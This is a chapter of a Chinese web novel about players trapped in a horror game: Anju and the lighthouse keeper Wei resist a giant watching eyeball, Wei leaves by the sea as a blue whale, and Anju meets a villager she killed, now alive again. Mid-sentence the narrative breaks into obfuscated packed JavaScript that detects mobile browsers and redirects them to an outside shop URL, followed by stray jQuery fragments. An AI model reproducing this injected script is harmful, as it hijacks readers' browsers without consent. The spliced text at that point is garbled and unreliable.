安居猛地睁开眼睛。
危睡得很熟,胸膛规律起伏,蝶翼一般的眼睫停驻在他薄薄的眼睑上。
安居小臂上的汗毛战栗,她快步走到窗前,抹开窗户上凝结的水雾,贴近窗户,向外看去。窗外,一个巨大的眼球,正有节奏地撞击着窗户,察觉到她的观测,眼球停下了动作,与她贴面对视着。
“卧……槽……”安居惊得后退数步。
一只冰冷的手从身后捂住了她的眼睛。是危。
不知何时,他已经从床上走下来了,站在她身后,伸臂捂住她的眼睛。
“别看,‘看见’本身就是一种污染。不要注视,不要观测。”
视野被危的手掌遮得严严实实,视觉看不到,安居不自觉地开始想象。——那可真是一颗巨大的眼睛,它会散发出光波吗?
巨大的眼球咕噜噜地转动着,默然凝望立在屋中的两人。
瞳孔中,开始漫散光芒。
危连忙在安居耳边提醒:“也不要想,想象、推论,一样会被视同接触。会被祂污染。”
他越这么说,安居脑子里的画面越具象。
“你听没听过粉色大象理论?人的大脑只能选择【想什么】,不能选择【不想什么】,”安居努力引导自己的大脑,“你可以试试,现在,别去想象一头粉色的大象。”安居辩解。
危盯着自己脑子里不听使唤出现的那头粉红色的大象,默然无语。
危叹了口气,一手仍覆在安居眼睛上,另一手,摸到了那架钢琴。
海洋深处,污染丛生,在这里看守的灯塔看守员,一定有他对抗污染的途径。
危的右手按响了琴键。
受伤的手指勉力按在琴键上,乐曲倾泻而下。
维瓦尔第的四季乐章,狂放的、猛烈的、意乱情迷的夏。也不知道他是从哪个副本,从谁那里学来的。
音乐声搅碎了安居大脑里一切恐怖的想象。
安居仿佛闻到了烈日下的杨树和柑橘林,她不由自主地回到A市胡同里的夏天,午后暴雨,阴沉而干燥的带着泥土味道的风,树叶的姿态,云的影子,蝉鸣。
窗外,不可名状的敲击声越来越轻。
思绪不断飘远,飘远。
她什么时候能回到那个无聊的午后?去食堂吃完了饭,坐在单位院子里的摇椅上午休乘凉,摇着蒲扇,手边的小凳上放着西瓜和冰可乐。街道办的院子里有一颗古旧的柿子树,灰喜鹊和麻雀叽叽喳喳地吵闹。还没有到上班的时间,但是一对街坊邻居在争吵。你家的猫偷吃了我的香肠,那可是我儿子从广州寄来的香肠。谁让你把香肠晾在公共的院子里,再说了,我只是喂了几天,怎么是成了我家的猫?
突如其来的暴雨和冰雹,一架钢琴出现在巷口街角,会有一个男人站在巷口,一件白衬衫,演奏一首四季乐章吗?
狂风暴雨一样的乐点,落地却温柔静谧,一如那个人给她的印象。狂暴与温柔,极度的危险与极端的安全感,竟然能如此统一地出现在同一个人身上。
安居思维奔逸,胡思乱想。
“你在想什么?”他的声音突然在她背后响起。
“我在想……你可以来我们社区学校做个音乐老师。你想过吗?以后,如果能离开这里,到外面去,你想做什么?”
身后的人呼吸一窒,贴着的胸膛里,传来几声怪异的心跳,空荡荡的、剧烈、杂乱无章。
如果能离开……
这些年,不是没有见过她们这种“玩家”。她们每个人,无论活着还是死了,嘴里都在不停地念叨着“外面”。外面是什么?听上去是一个有别于“里面”的概念,在她们每个人的记忆里,外面是那么好,是家,是记忆中安稳的一切,是她们顺理成章地渴望。
雨下得更大了。
危摇了摇头:“我去不了‘外面’。”
密密麻麻的雨,杂乱无章地敲击在窗户上。窗外那个诡异的眼球,不知何时已经远去了。遥远的村庄里,隐约传来几声狗叫。
安居转过身,看着危。“你会找到答案的。”她说。
“你不是NPC,我能感觉得到,你和这里格格不入,你只是……”安居想了一下措辞,“你只是适应了这里,且比较能忍。”
胸腔里,长久凝滞、久久不动的心脏,突然接通了某种电流,破天荒的、微弱地,跳动了一声。那声心跳那么短促,像是错拍的一记四分之三音符,急急的、短短的,带着前后拍的停滞与空白,却又那么长久地绵延地停留在谁的胸腔里。
——窗外下起了雨。雨声之外,是永不止歇、连绵不绝的潮汐声。
他们点了一摊篝火,蜷缩在一起,裹着同一张破旧的毛毯,守护着雨雾侵蚀之中的一豆之灯。
第二天一早,安居醒过来的时候,危已经好得七七八八了。他正在拆安居昨夜裹在他伤口上的布片。灰色的防水面料和煮过的棉布,此时都沾着褐色的血迹。
“你得回村子了,最好顺着海边兜一圈再回去,”危提醒道。“这里离村子中心太远,你直接赶回去,恐怕会被他们察觉。而且,钟声快要响了。”
安居神色一凛,只有当玩家死掉,尸体被发现的时候,才会敲响钟声,通知所有玩家赶往教堂。她问:“你怎么知道?”
危摇了摇头:“我不能说。”
安居叹了一口气:“碍于一些规则,是吗?”
危垂目默认。
“理解,”安居点了点头,“那你呢?”
危推开灯塔的大门,钻了出去,安居紧随其后。两人站在木质栈道上,眺望无垠的大海。
外面下起了大雨。
狂风暴雨中的大海漆黑一片,浪头涌动,淹没了栈道。
两人站在天地一片的水里。
“我要入海。”
听到这个熟悉的词,安居神情猛地一僵:“入海?海里到底有什么?”
危转过身,面对安居,背朝大海,微微张开双臂:“出口。挣脱桎梏,脱离规则,找到一切问题的答案。”
海风吹拂,危的黑发飞扬,他几乎要凌空飞起,跃入海中。
安居连忙问道:“最后一个问题!”
危不禁想起他们在上一个副本的初见,那时候大雪封山,安居满脸冻伤,眉眼灼然,也是在他身后大喊:“最后一个问题!”执着地追问着答案。
“你问,能说的我一定说。”这一次,危给了不一样的回答。
他这么坦诚,倒叫安居一时有些默然,她的问题太多了,先问哪一个?
她想了一会儿:“晒鱼场里的那些鱼,到底是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258889|189127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么?”
“死人。”危言简意赅。
“死人?是玩家?还是NPC?死掉的人不是被浓雾吃掉了吗?”这回答不仅没有解惑,反而令安居更疑惑了。
这就有一点试探到禁区了,但危仍旧尝试着开口。
“死掉的人……”
危突然停住,一道银色的光芒于虚空中凝结成荆棘的形状,数个银质尖刺直接刺穿了危的下半张脸,他的嘴边流下血来。
——荆棘口业,这是此间神明对他下达的禁锢。
刺穿危口舌的银色荆棘牢牢覆盖住他下半张脸,像是戴了一张金属覆面,他张口欲言,嘴角便流下一线鲜血。
安居连忙阻止他:“更具体的,你不能多说,对吗?”
危微微垂了一下眼睛,默认了。
雨声越来越大,海浪不断冲击,海水漫上堤岸的公路。
两人并肩站在雨里。
“好,我记住你给我的话了,再见,危。”安居和他道别,用她刚刚学会的、尚且有些生涩的海默语,叫了他的名字。
危递给安居一个熟悉的药瓶,盛装着红色的液体,是他的血。他口不能言,便比划了一下天空,安居明白了。
“对抗污染用的?对吗?”
危再次垂了一下眼睛,这一次,他的眼睛里带上了一点笑意。
“知道了,我会省着点用的。”安居郑重其事地收进了上衣的内侧口袋。
两个人干脆利落,就此分别。
危背向大海,纵身一跃。
入水声让安居一惊,她猛地往前探身看去,海面之下,已经没有了危的身影,取而代之的,是一头浩瀚辽阔的蓝鲸。一声巨大而空灵的鲸鸣声在海中响起,蓝鲸一个鱼跃出海,胸鳍溅起扑面的水花,打湿了安居的侧脸。
在安居震惊的目光中,那只蓝鲸眼里带着笑意,高高跃入了海底。
安居在晨雾中快速穿过村庄,她急着回到半山腰的庄园里找池渔,在钟声响起来之前。
祭日已过,这个村庄又恢复了往日的平和。安居昨夜穿了斗篷,并没有露脸,于是街上的人来人往也不知道是她劫走了祭子,状似如常地和安居打着招呼,冲安居微笑。
安居一言不发,从他们之中生硬地路过。
她不再和他们对视,因为她知道,他们每个人的齿缝里,都沾着危的血。
“买肉吗?”一个声音热情地招呼安居,挡在安居身前,他在围裙上擦了擦手,宽厚的手掌里尽是油污。安居一愣,抬头看去,屠户正冲她憨厚地笑着。
安居脑子嗡地一声。
——他不是死了么?昨夜,被自己一刀捅穿了气管,她眼看着他咽气的,身体被浓雾吞吃殆尽。这个副本到底是什么规则?NPC不是在副本重启之后才会复活吗?
屠户呲牙一乐:“怎么了,收藏家?你表情怎么怪怪的?”
“没什么,”安居连忙摇头,“昨夜没睡好,一直有狗叫,有点失眠。”
“真可怜,”屠户皱着鼻子,一脸地宽慰,“愿母神赐福你。”
疯了,都疯了。
安居抱着头,不知道是自己更疯一点,还是这些被自己杀了又复活过来可怜自己的NPC更疯一点。她捂住耳朵,穿过这些人来人往,迅速往山上飞奔而去。